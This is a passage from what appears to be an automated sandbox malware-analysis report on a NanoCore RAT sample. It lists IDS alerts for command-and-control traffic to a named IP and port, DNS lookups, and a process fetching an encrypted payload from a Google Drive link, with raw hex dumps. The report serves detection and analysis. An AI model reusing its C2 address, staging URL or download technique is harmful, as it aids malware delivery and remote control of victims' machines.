ETPRO TROJAN NanoCore RAT CnC 7 49890 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14986339592025019 
09/28/22-
07:34:45.527258

TCP 202501
9

ET TROJAN Possible NanoCore C2 60B 49863 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14988339592025019 
09/28/22-
07:36:42.018012

TCP 202501
9

ET TROJAN Possible NanoCore C2 60B 49883 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14990239592816766 
09/28/22-
07:38:40.500745

TCP 281676
6

ETPRO TROJAN NanoCore RAT CnC 7 49902 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14991239592816766 
09/28/22-
07:39:36.540359

TCP 281676
6

ETPRO TROJAN NanoCore RAT CnC 7 49912 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14988039592816766 
09/28/22-
07:36:25.166202

TCP 281676
6

ETPRO TROJAN NanoCore RAT CnC 7 49880 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14990839592816766 
09/28/22-
07:39:11.826405

TCP 281676
6

ETPRO TROJAN NanoCore RAT CnC 7 49908 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14985039592816766 
09/28/22-
07:33:30.319682

TCP 281676
6

ETPRO TROJAN NanoCore RAT CnC 7 49850 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14991939592816766 
09/28/22-
07:40:19.390442

TCP 281676
6

ETPRO TROJAN NanoCore RAT CnC 7 49919 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14987039592816766 
09/28/22-
07:35:31.556486

TCP 281676
6

ETPRO TROJAN NanoCore RAT CnC 7 49870 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14989339592025019 
09/28/22-
07:37:44.176254

TCP 202501
9

ET TROJAN Possible NanoCore C2 60B 49893 3959 192.168.11.2
0

137.63.71.51

137.63.71.51192.168.11.2
03959499022841753 
09/28/22-
07:38:40.500365

TCP 284175
3

ETPRO TROJAN NanoCore RAT Keep-Alive Beacon (Inbound) 3959 49902 137.63.71.51 192.168.11.2
0

192.168.11.20137.63.71.5
14986039592816766 
09/28/22-
07:34:27.380495

TCP 281676
6

ETPRO TROJAN NanoCore RAT CnC 7 49860 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14985539592025019 
09/28/22-
07:34:00.119636

TCP 202501
9

ET TROJAN Possible NanoCore C2 60B 49855 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14984539592025019 
09/28/22-
07:33:03.223566

TCP 202501
9

ET TROJAN Possible NanoCore C2 60B 49845 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14990939592816766 
09/28/22-
07:39:17.489933

TCP 281676
6

ETPRO TROJAN NanoCore RAT CnC 7 49909 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14991339592816766 
09/28/22-
07:39:42.252029

TCP 281676
6

ETPRO TROJAN NanoCore RAT CnC 7 49913 3959 192.168.11.2
0

137.63.71.51

Timestamp Protocol SID Message
Source
Port

Dest
Port

Source IP Dest IP
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137.63.71.51192.168.11.2
03959498742841753 
09/28/22-
07:35:49.136137

TCP 284175
3

ETPRO TROJAN NanoCore RAT Keep-Alive Beacon (Inbound) 3959 49874 137.63.71.51 192.168.11.2
0

192.168.11.20137.63.71.5
14990939592025019 
09/28/22-
07:39:16.204642

TCP 202501
9

ET TROJAN Possible NanoCore C2 60B 49909 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14991639592816766 
09/28/22-
07:40:00.949557

TCP 281676
6

ETPRO TROJAN NanoCore RAT CnC 7 49916 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14990639592816766 
09/28/22-
07:39:05.076607

TCP 281676
6

ETPRO TROJAN NanoCore RAT CnC 7 49906 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14984239592025019 
09/28/22-
07:32:44.468596

TCP 202501
9

ET TROJAN Possible NanoCore C2 60B 49842 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14985239592025019 
09/28/22-
07:33:40.954696

TCP 202501
9

ET TROJAN Possible NanoCore C2 60B 49852 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14986239592025019 
09/28/22-
07:34:39.027168

TCP 202501
9

ET TROJAN Possible NanoCore C2 60B 49862 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14989839592816766 
09/28/22-
07:38:17.064875

TCP 281676
6

ETPRO TROJAN NanoCore RAT CnC 7 49898 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14988239592025019 
09/28/22-
07:36:35.816027

TCP 202501
9

ET TROJAN Possible NanoCore C2 60B 49882 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14989239592025019 
09/28/22-
07:37:37.900323

TCP 202501
9

ET TROJAN Possible NanoCore C2 60B 49892 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14987239592025019 
09/28/22-
07:35:42.562185

TCP 202501
9

ET TROJAN Possible NanoCore C2 60B 49872 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14990339592816766 
09/28/22-
07:38:46.330043

TCP 281676
6

ETPRO TROJAN NanoCore RAT CnC 7 49903 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14987039592025019 
09/28/22-
07:35:30.267402

TCP 202501
9

ET TROJAN Possible NanoCore C2 60B 49870 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14991439592816766 
09/28/22-
07:39:48.485475

TCP 281676
6

ETPRO TROJAN NanoCore RAT CnC 7 49914 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14985039592025019 
09/28/22-
07:33:28.388001

TCP 202501
9

ET TROJAN Possible NanoCore C2 60B 49850 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14989039592025019 
09/28/22-
07:37:25.477917

TCP 202501
9

ET TROJAN Possible NanoCore C2 60B 49890 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14986039592025019 
09/28/22-
07:34:26.085032

TCP 202501
9

ET TROJAN Possible NanoCore C2 60B 49860 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14991939592025019 
09/28/22-
07:40:18.098612

TCP 202501
9

ET TROJAN Possible NanoCore C2 60B 49919 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14991539592816766 
09/28/22-
07:39:55.244956

TCP 281676
6

ETPRO TROJAN NanoCore RAT CnC 7 49915 3959 192.168.11.2
0

137.63.71.51

Timestamp Protocol SID Message
Source
Port

Dest
Port

Source IP Dest IP
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192.168.11.20137.63.71.5
14988039592025019 
09/28/22-
07:36:23.322072

TCP 202501
9

ET TROJAN Possible NanoCore C2 60B 49880 3959 192.168.11.2
0

137.63.71.51

192.168.11.20137.63.71.5
14990539592816766 
09/28/22-
07:38:59.406668

TCP 281676
6

ETPRO TROJAN NanoCore RAT CnC 7 49905 3959 192.168.11.2
0

137.63.71.51

Timestamp Protocol SID Message
Source
Port

Dest
Port

Source IP Dest IP

Total Packets: 53

• 53 (DNS)

• 443 (HTTPS)

Timestamp Source Port Dest Port Source IP Dest IP

Sep 28, 2022 07:32:39.655810118 CEST 49840 443 192.168.11.20 142.250.186.174

Sep 28, 2022 07:32:39.655888081 CEST 443 49840 142.250.186.174 192.168.11.20

Sep 28, 2022 07:32:39.656008959 CEST 49840 443 192.168.11.20 142.250.186.174

Sep 28, 2022 07:32:39.676248074 CEST 49840 443 192.168.11.20 142.250.186.174

Sep 28, 2022 07:32:39.676307917 CEST 443 49840 142.250.186.174 192.168.11.20

Sep 28, 2022 07:32:39.728712082 CEST 443 49840 142.250.186.174 192.168.11.20

Sep 28, 2022 07:32:39.728899002 CEST 49840 443 192.168.11.20 142.250.186.174

Sep 28, 2022 07:32:39.730320930 CEST 443 49840 142.250.186.174 192.168.11.20

Sep 28, 2022 07:32:39.730483055 CEST 49840 443 192.168.11.20 142.250.186.174

Sep 28, 2022 07:32:39.835875034 CEST 49840 443 192.168.11.20 142.250.186.174

Sep 28, 2022 07:32:39.835936069 CEST 443 49840 142.250.186.174 192.168.11.20

Sep 28, 2022 07:32:39.836652040 CEST 443 49840 142.250.186.174 192.168.11.20

Sep 28, 2022 07:32:39.836896896 CEST 49840 443 192.168.11.20 142.250.186.174

Sep 28, 2022 07:32:39.840415955 CEST 49840 443 192.168.11.20 142.250.186.174

Sep 28, 2022 07:32:39.882549047 CEST 443 49840 142.250.186.174 192.168.11.20

Sep 28, 2022 07:32:40.737853050 CEST 443 49840 142.250.186.174 192.168.11.20

Sep 28, 2022 07:32:40.738078117 CEST 49840 443 192.168.11.20 142.250.186.174

Sep 28, 2022 07:32:40.738157988 CEST 443 49840 142.250.186.174 192.168.11.20

Sep 28, 2022 07:32:40.738343000 CEST 49840 443 192.168.11.20 142.250.186.174

Sep 28, 2022 07:32:40.738395929 CEST 49840 443 192.168.11.20 142.250.186.174

Sep 28, 2022 07:32:40.738868952 CEST 443 49840 142.250.186.174 192.168.11.20

Sep 28, 2022 07:32:40.738938093 CEST 443 49840 142.250.186.174 192.168.11.20

Sep 28, 2022 07:32:40.739052057 CEST 49840 443 192.168.11.20 142.250.186.174

Sep 28, 2022 07:32:40.739089966 CEST 49840 443 192.168.11.20 142.250.186.174

Sep 28, 2022 07:32:40.852314949 CEST 49841 443 192.168.11.20 142.250.186.97

Sep 28, 2022 07:32:40.852400064 CEST 443 49841 142.250.186.97 192.168.11.20

Sep 28, 2022 07:32:40.852600098 CEST 49841 443 192.168.11.20 142.250.186.97

Sep 28, 2022 07:32:40.852950096 CEST 49841 443 192.168.11.20 142.250.186.97

Sep 28, 2022 07:32:40.853003025 CEST 443 49841 142.250.186.97 192.168.11.20

Sep 28, 2022 07:32:40.898561954 CEST 443 49841 142.250.186.97 192.168.11.20

Sep 28, 2022 07:32:40.898710012 CEST 49841 443 192.168.11.20 142.250.186.97

Network Port Distribution

TCP Packets
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Sep 28, 2022 07:32:40.898781061 CEST 49841 443 192.168.11.20 142.250.186.97

Sep 28, 2022 07:32:40.900093079 CEST 443 49841 142.250.186.97 192.168.11.20

Sep 28, 2022 07:32:40.900326967 CEST 49841 443 192.168.11.20 142.250.186.97

Sep 28, 2022 07:32:40.903901100 CEST 49841 443 192.168.11.20 142.250.186.97

Sep 28, 2022 07:32:40.903918028 CEST 443 49841 142.250.186.97 192.168.11.20

Sep 28, 2022 07:32:40.904175043 CEST 443 49841 142.250.186.97 192.168.11.20

Sep 28, 2022 07:32:40.904370070 CEST 49841 443 192.168.11.20 142.250.186.97

Sep 28, 2022 07:32:40.904737949 CEST 49841 443 192.168.11.20 142.250.186.97

Sep 28, 2022 07:32:40.946564913 CEST 443 49841 142.250.186.97 192.168.11.20

Sep 28, 2022 07:32:41.287677050 CEST 443 49841 142.250.186.97 192.168.11.20

Sep 28, 2022 07:32:41.287832975 CEST 49841 443 192.168.11.20 142.250.186.97

Sep 28, 2022 07:32:41.287920952 CEST 49841 443 192.168.11.20 142.250.186.97

Sep 28, 2022 07:32:41.287966967 CEST 443 49841 142.250.186.97 192.168.11.20

Sep 28, 2022 07:32:41.287993908 CEST 443 49841 142.250.186.97 192.168.11.20

Sep 28, 2022 07:32:41.288150072 CEST 49841 443 192.168.11.20 142.250.186.97

Sep 28, 2022 07:32:41.288177967 CEST 49841 443 192.168.11.20 142.250.186.97

Sep 28, 2022 07:32:41.288876057 CEST 443 49841 142.250.186.97 192.168.11.20

Sep 28, 2022 07:32:41.289129972 CEST 49841 443 192.168.11.20 142.250.186.97

Sep 28, 2022 07:32:41.289643049 CEST 443 49841 142.250.186.97 192.168.11.20

Sep 28, 2022 07:32:41.289901972 CEST 49841 443 192.168.11.20 142.250.186.97

Sep 28, 2022 07:32:41.289946079 CEST 443 49841 142.250.186.97 192.168.11.20

Sep 28, 2022 07:32:41.290232897 CEST 49841 443 192.168.11.20 142.250.186.97

Sep 28, 2022 07:32:41.292768955 CEST 443 49841 142.250.186.97 192.168.11.20

Sep 28, 2022 07:32:41.292984009 CEST 49841 443 192.168.11.20 142.250.186.97

Sep 28, 2022 07:32:41.296344042 CEST 443 49841 142.250.186.97 192.168.11.20

Sep 28, 2022 07:32:41.296598911 CEST 49841 443 192.168.11.20 142.250.186.97

Sep 28, 2022 07:32:41.296649933 CEST 443 49841 142.250.186.97 192.168.11.20

Sep 28, 2022 07:32:41.296895027 CEST 49841 443 192.168.11.20 142.250.186.97

Sep 28, 2022 07:32:41.297806978 CEST 443 49841 142.250.186.97 192.168.11.20

Sep 28, 2022 07:32:41.298110962 CEST 443 49841 142.250.186.97 192.168.11.20

Sep 28, 2022 07:32:41.298134089 CEST 49841 443 192.168.11.20 142.250.186.97

Sep 28, 2022 07:32:41.298161983 CEST 443 49841 142.250.186.97 192.168.11.20

Sep 28, 2022 07:32:41.298410892 CEST 443 49841 142.250.186.97 192.168.11.20

Sep 28, 2022 07:32:41.298552036 CEST 443 49841 142.250.186.97 192.168.11.20

Sep 28, 2022 07:32:41.298607111 CEST 49841 443 192.168.11.20 142.250.186.97

Sep 28, 2022 07:32:41.298640013 CEST 443 49841 142.250.186.97 192.168.11.20

Sep 28, 2022 07:32:41.298650980 CEST 49841 443 192.168.11.20 142.250.186.97

Sep 28, 2022 07:32:41.298800945 CEST 49841 443 192.168.11.20 142.250.186.97

Sep 28, 2022 07:32:41.298918009 CEST 49841 443 192.168.11.20 142.250.186.97

Sep 28, 2022 07:32:41.299118042 CEST 443 49841 142.250.186.97 192.168.11.20

Sep 28, 2022 07:32:41.299304962 CEST 49841 443 192.168.11.20 142.250.186.97

Sep 28, 2022 07:32:41.299345970 CEST 443 49841 142.250.186.97 192.168.11.20

Sep 28, 2022 07:32:41.299674034 CEST 49841 443 192.168.11.20 142.250.186.97

Sep 28, 2022 07:32:41.299715042 CEST 443 49841 142.250.186.97 192.168.11.20

Sep 28, 2022 07:32:41.300033092 CEST 49841 443 192.168.11.20 142.250.186.97

Sep 28, 2022 07:32:41.300074100 CEST 443 49841 142.250.186.97 192.168.11.20

Sep 28, 2022 07:32:41.300271034 CEST 49841 443 192.168.11.20 142.250.186.97

Sep 28, 2022 07:32:41.300306082 CEST 443 49841 142.250.186.97 192.168.11.20

Sep 28, 2022 07:32:41.300548077 CEST 49841 443 192.168.11.20 142.250.186.97

Sep 28, 2022 07:32:41.300601959 CEST 443 49841 142.250.186.97 192.168.11.20

Sep 28, 2022 07:32:41.300894976 CEST 49841 443 192.168.11.20 142.250.186.97

Sep 28, 2022 07:32:41.300939083 CEST 443 49841 142.250.186.97 192.168.11.20

Sep 28, 2022 07:32:41.301136017 CEST 49841 443 192.168.11.20 142.250.186.97

Sep 28, 2022 07:32:41.301163912 CEST 443 49841 142.250.186.97 192.168.11.20

Sep 28, 2022 07:32:41.301188946 CEST 443 49841 142.250.186.97 192.168.11.20

Sep 28, 2022 07:32:41.301460981 CEST 49841 443 192.168.11.20 142.250.186.97

Sep 28, 2022 07:32:41.301909924 CEST 443 49841 142.250.186.97 192.168.11.20

Sep 28, 2022 07:32:41.302118063 CEST 49841 443 192.168.11.20 142.250.186.97

Sep 28, 2022 07:32:41.302165985 CEST 443 49841 142.250.186.97 192.168.11.20

Timestamp Source Port Dest Port Source IP Dest IP
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Sep 28, 2022 07:32:41.302413940 CEST 49841 443 192.168.11.20 142.250.186.97

Sep 28, 2022 07:32:41.302448034 CEST 443 49841 142.250.186.97 192.168.11.20

Sep 28, 2022 07:32:41.302644014 CEST 49841 443 192.168.11.20 142.250.186.97

Sep 28, 2022 07:32:41.302695036 CEST 443 49841 142.250.186.97 192.168.11.20

Sep 28, 2022 07:32:41.302895069 CEST 49841 443 192.168.11.20 142.250.186.97

Sep 28, 2022 07:32:41.302932024 CEST 443 49841 142.250.186.97 192.168.11.20

Sep 28, 2022 07:32:41.303277969 CEST 49841 443 192.168.11.20 142.250.186.97

Sep 28, 2022 07:32:41.303325891 CEST 443 49841 142.250.186.97 192.168.11.20

Sep 28, 2022 07:32:41.303586006 CEST 49841 443 192.168.11.20 142.250.186.97

Sep 28, 2022 07:32:41.303756952 CEST 443 49841 142.250.186.97 192.168.11.20

Timestamp Source Port Dest Port Source IP Dest IP

Timestamp Source Port Dest Port Source IP Dest IP

Sep 28, 2022 07:32:39.634243011 CEST 50977 53 192.168.11.20 1.1.1.1

Sep 28, 2022 07:32:39.643558025 CEST 53 50977 1.1.1.1 192.168.11.20

Sep 28, 2022 07:32:40.811481953 CEST 60749 53 192.168.11.20 1.1.1.1

Sep 28, 2022 07:32:40.850791931 CEST 53 60749 1.1.1.1 192.168.11.20

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class
DNS over
HTTPS

Sep 28, 2022 07:32:39.634243011 
CEST

192.168.11.20 1.1.1.1 0xb55b Standard query 
(0)

drive.google.com A (IP address) IN (0x0001) false

Sep 28, 2022 07:32:40.811481953 
CEST

192.168.11.20 1.1.1.1 0x5aab Standard query 
(0)

doc-0g-38-
docs.googl
euserconte
nt.com

A (IP address) IN (0x0001) false

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class
DNS over
HTTPS

Sep 28, 2022 
07:32:39.643558025 
CEST

1.1.1.1 192.168.11.20 0xb55b No error (0) drive.goog
le.com

142.250.186.1
74

A (IP address) IN 
(0x0001)

false

Sep 28, 2022 
07:32:40.850791931 
CEST

1.1.1.1 192.168.11.20 0x5aab No error (0) doc-0g-38-
docs.googl
euserconte
nt.com

googlehosted.l.
googleusercont
ent.com

CNAME 
(Canonical 
name)

IN 
(0x0001)

false

Sep 28, 2022 
07:32:40.850791931 
CEST

1.1.1.1 192.168.11.20 0x5aab No error (0) googlehost
ed.l.googl
euserconte
nt.com

142.250.186.9
7

A (IP address) IN 
(0x0001)

false

            
drive.google.com

            
doc-0g-38-docs.googleusercontent.com

         

Session ID Source IP Source Port Destination IP
Destination
Port

Process

0 192.168.11.20 49840 142.250.186.174 443 C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

Timestamp
kBytes
transferred

Direction Data

2022-09-28 05:32:39 UTC 0 OUT GET /uc?export=download&id=12kdF3UKFZK3CB9va21Q67UlQDNdJJSzV HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: drive.google.com
Cache-Control: no-cache

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets
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2022-09-28 05:32:40 UTC 0 IN HTTP/1.1 303 See Other
Content-Type: application/binary
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Date: Wed, 28 Sep 2022 05:32:40 GMT
Location: https://doc-0g-38-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/7ccvegr5
baur8gb8av4io695h7c3rd6h/1664343150000/14816144373961604306/*/12kdF3UKFZK3CB9va21Q67UlQDNdJJSzV?
e=download&uuid=3cf3d666-d660-416c-bcce-539871aa28db
Strict-Transport-Security: max-age=31536000
Content-Security-Policy: script-src 'nonce-IXXLRFJzBeg_XDsoq1yGHQ' 'unsafe-inline';object-src 'none';base-uri 'self';rep
ort-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'
Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport
Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-M
odel, Sec-CH-UA-WoW64, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
Permissions-Policy: ch-ua-arch=*, ch-ua-bitness=*, ch-ua-full-version=*, ch-ua-full-version-list=*, ch-ua-model=*, ch-ua-
wow64=*, ch-ua-platform=*, ch-ua-platform-version=*
Cross-Origin-Opener-Policy: same-origin
Server: ESF
Content-Length: 0
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Connection: close

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

1 192.168.11.20 49841 142.250.186.97 443 C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

Timestamp
kBytes
transferred

Direction Data

2022-09-28 05:32:40 UTC 1 OUT GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/7ccvegr5baur8gb8av4io695h7c3rd6h/1664343150000/1
4816144373961604306/*/12kdF3UKFZK3CB9va21Q67UlQDNdJJSzV?e=download&uuid=3cf3d666-d660-416c-bcce-
539871aa28db HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Cache-Control: no-cache
Host: doc-0g-38-docs.googleusercontent.com
Connection: Keep-Alive

Copyright Joe Security LLC 2022 Page 59 of 90



2022-09-28 05:32:41 UTC 2 IN HTTP/1.1 200 OK
X-GUploader-UploadID: ADPycdsjgweNW4_lq0rfl8QWYUzvEYOkpja9R_nHkHmvIQ4c8iYH_iF9JPe8p9DaGqeH
ng3ebKXH3bXiPzYnW8psCEKicw
Content-Type: application/octet-stream
Content-Disposition: attachment; filename="FTIlKYyH165.afm"; filename*=UTF-8''FTIlKYyH165.afm
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: false
Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-
Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, 
financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-
customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-
Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-
model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-
Client-Version, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X
-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Goog-Drive-Client-Version, X-Goog-Drive-Resourc
e-Keys, X-GData-Client, X-GData-Key, X-GoogApps-Allowed-Domains, X-Goog-AdX-Buyer-Impersonation, X-Goog-Api-
Client, X-Goog-Visibilities, X-Goog-AuthUser, x-goog-ext-124712974-jspb, x-goog-ext-251363160-jspb, x-goog-ext-2
59736195-jspb, X-Goog-PageId, X-Goog-Encode-Response-If-Executable, X-Goog-Correlation-Id, X-Goog-Request-Info, 
X-Goog-Request-Reason, X-Goog-Experiments, x-goog-iam-authority-selector, x-goog-iam-authorization-token, X-Goog-
Spatula, X-Goog-Travel-Bgr, X-Goog-Travel-Settings, X-Goog-Upload-Command, X-Goog-Upload-Content-Disposition, X-
Goog-Upload-Content-Length, X-Goog-Upload-Content-Type, X-Goog-Upload-File-Name, X-Goog-Upload-Header-C
ontent-Encoding, X-Goog-Upload-Header-Content-Length, X-Goog-Upload-Header-Content-Type, X-Goog-Upload-
Header-Transfer-Encoding, X-Goog-Upload-Offset, X-Goog-Upload-Protocol, x-goog-user-project, X-Goog-Visitor-Id, X-
Goog-FieldMask, X-Google-Project-Override, X-Goog-Api-Key, X-HTTP-Method-Override, X-JavaScript-User-Agent, X-
Pan-Versionid, X-Proxied-User-IP, X-Origin, X-Referer, X-Requested-With, X-Stadia-Client-Context, X-Upload-Content-
Length, X-Upload-Content-Type, X-Use-Alt-Service, X-Use-HTTP-Status-Code-Override, X-Ios-Bundle-Identifier, X-
Android-Package, X-Ariane-Xsrf-Token, X-YouTube-VVT, X-YouTube-Page-CL, X-YouTube-Page-Timestamp, X-
Compass-Routing-Destination, x-framework-xsrf-token, X-Goog-Meeting-ABR, X-Goog-Meeting-Botguardid, X-Goog-M
eeting-ClientInfo, X-Goog-Meeting-ClientVersion, X-Goog-Meeting-Debugid, X-Goog-Meeting-Identifier, X-Goog-Meeting-
Interop-Cohorts, X-Goog-Meeting-Interop-Type, X-Goog-Meeting-RtcClient, X-Goog-Meeting-StartSource, X-Goog-
Meeting-Token, X-Goog-Meeting-ViewerInfo, X-Goog-Meeting-Viewer-Token, X-Client-Data, x-sdm-id-token, X-Sfdc-
Authorization, MIME-Version, Content-Transfer-Encoding, X-Earth-Engine-App-ID-Token, X-Earth-Engine-Computation-
Profile, X-Earth-Engine-Computation-Profiling, X-Play-Console-Experiments-Override, X-Play-Console-Session-Id, x-alka
li-account-key, x-alkali-application-key, x-alkali-auth-apps-namespace, x-alkali-auth-entities-namespace, x-alkali-auth-
entity, x-alkali-client-locale, EES-S7E-MODE, cast-device-capabilities, X-Server-Timeout, x-foyer-client-environment, x-
goog-greenenergyuserappservice-metadata, x-goog-sherlog-context
Access-Control-Allow-Methods: GET,HEAD,OPTIONS
Content-Length: 215104
Date: Wed, 28 Sep 2022 05:32:41 GMT
Expires: Wed, 28 Sep 2022 05:32:41 GMT
Cache-Control: private, max-age=0
X-Goog-Hash: crc32c=uyCliw==
Server: UploadServer
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Connection: close

2022-09-28 05:32:41 UTC 5 IN Data Raw: bc 06 ca c9 8b de d0 5c 2d 24 c8 08 ec 95 d5 da a7 e9 98 37 32 85 b9 4a 4a 24 10 63 37 87 f6 05 48 94 b9 b7 
d6 97 aa 37 dd 11 89 0e 02 ff cf af cd fb 81 f5 7b e9 34 b7 b0 f0 ea 17 ef bc 68 de 4a 32 cb 82 3f ae 2d 94 49 a2 dd 6f 42 
b1 93 f9 0b 3e 29 4c b0 7f c9 af e0 cc 45 6b a2 60 0f 63 d2 b3 a1 a9 7c 90 a8 a9 7b ac 16 a7 50 9c 83 75 b7 39 a8 30 47 
29 22 31 de df b1 20 0c 2f d1 4e 36 d3 1d 1b a0 68 cb 9f 4c 1d f4 37 e7 95 c5 4a 08 68 b2 2f 1e 40 99 4f 6a d7 42 93 ec 
1d f2 7d 2f 5d 95 01 e6 3c 3f ec 47 ac 67 98 55 d6 f2 ee 3b b2 65 8a 21 d3 ff 4d 6a 48 03 e2 35 84 f9 c0 01 6d 0b f5 60 4e 
aa 6c 96 ef 45 b9 52 44 b0 d2 d6 b5 24 9d 79 eb 0e a1 81 a8 dc 18 be c8 d5 13 e6 b5 05 62 fa a7 88 8f 65 59 8c a3 c5 1d 
1e b3 b1 8f b6 14 61 a1 78 e0 26 3b 7e 1e 93 d3 6d 
Data Ascii: \-$72JJ$c7H7{4hJ2?-IoB>)LEk`c|{Pu90G)"1 /N6hL7Jh/@OjB}/]<?GgU;e!MjH5m`NlERD$ybeYax&;~m

2022-09-28 05:32:41 UTC 9 IN Data Raw: 20 8c 2d c6 50 15 c6 81 6e b9 dc c2 56 40 a3 de 78 0c 9f 65 08 63 0d 87 72 7e 09 85 24 0b ba 66 f3 91 6e b1 
18 7d 12 9a 64 c6 44 60 a4 4c 29 2f 93 e5 9a 91 c4 56 ed 01 ef 0f de f2 47 4e 4a 15 fc 18 8e df bb 48 28 0b f1 01 49 82 6f 
11 e3 58 c7 50 5c a9 ff c4 93 5f 84 99 eb 04 a3 93 b7 f7 12 98 6f ba 13 e6 c1 2e 44 d1 4b ae a4 03 bd bd a9 c5 0c 1e b3 
b1 8f b4 14 61 a3 24 f5 0b 11 58 65 8a d1 6d 69 7c b2 71 81 34 a3 c6 5e 58 9c 28 c6 09 f8 c7 e6 c5 6d 08 e6 c3 9c d2 c3 
2c fb 98 ce 1e 1c 89 6b 88 f5 c8 ef e9 2e a0 87 a7 08 73 dc 56 15 f8 12 d5 91 3d 13 22 2d 24 41 05 16 a3 82 ba b8 ed c6 
35 3a 8e 3a 33 ad a8 07 9d 0c 28 88 03 f7 59 31 eb 9d 94 0f 8d 14 b6 ed 79 cd 1f 75 80 e9 8a 5a c0 39 73 2e 63 b9 a9 6f 
fd b3 3a 26 88 9b 02 18 2b b7 fb d1 f6 1d 30 f4 e3 a0 
Data Ascii:  -PnV@xecr~$fn}dD`L)/VGNJH(IoXP\_o.DKa$Xemi|q4^X(m,k.sV="-$A5::3(Y1yuZ9s.co:&+0

2022-09-28 05:32:41 UTC 13 IN Data Raw: 39 8f 7d 1b 7e 14 82 d4 7a 35 42 b1 4b 87 03 8e bc c3 68 51 37 84 7f de bc f5 ed 47 0d e5 db 8e f9 cf 22 47 f7 
a1 14 c2 a3 64 86 92 23 c9 c8 ce a4 96 a3 2b 4f f6 86 2c d0 ed d5 91 3b 3b 96 2f 3f 5e 00 7d 85 f9 aa 66 ed e8 32 3c a4 
29 15 86 5c 2d 82 14 6c d0 0f f1 64 2b eb 9c 8b 50 f8 14 1d e6 53 eb 1e 87 80 fb c4 2d c0 1e 77 0e 47 99 79 71 d5 4e 2d 
3c a3 b9 8c 63 31 bd ec f8 d0 3d 1d df 6b 8b 35 ac 75 58 7f c4 d6 af 7b 99 31 b6 55 c3 67 c3 6e 29 9d 1c 13 0f 4b 94 0e 
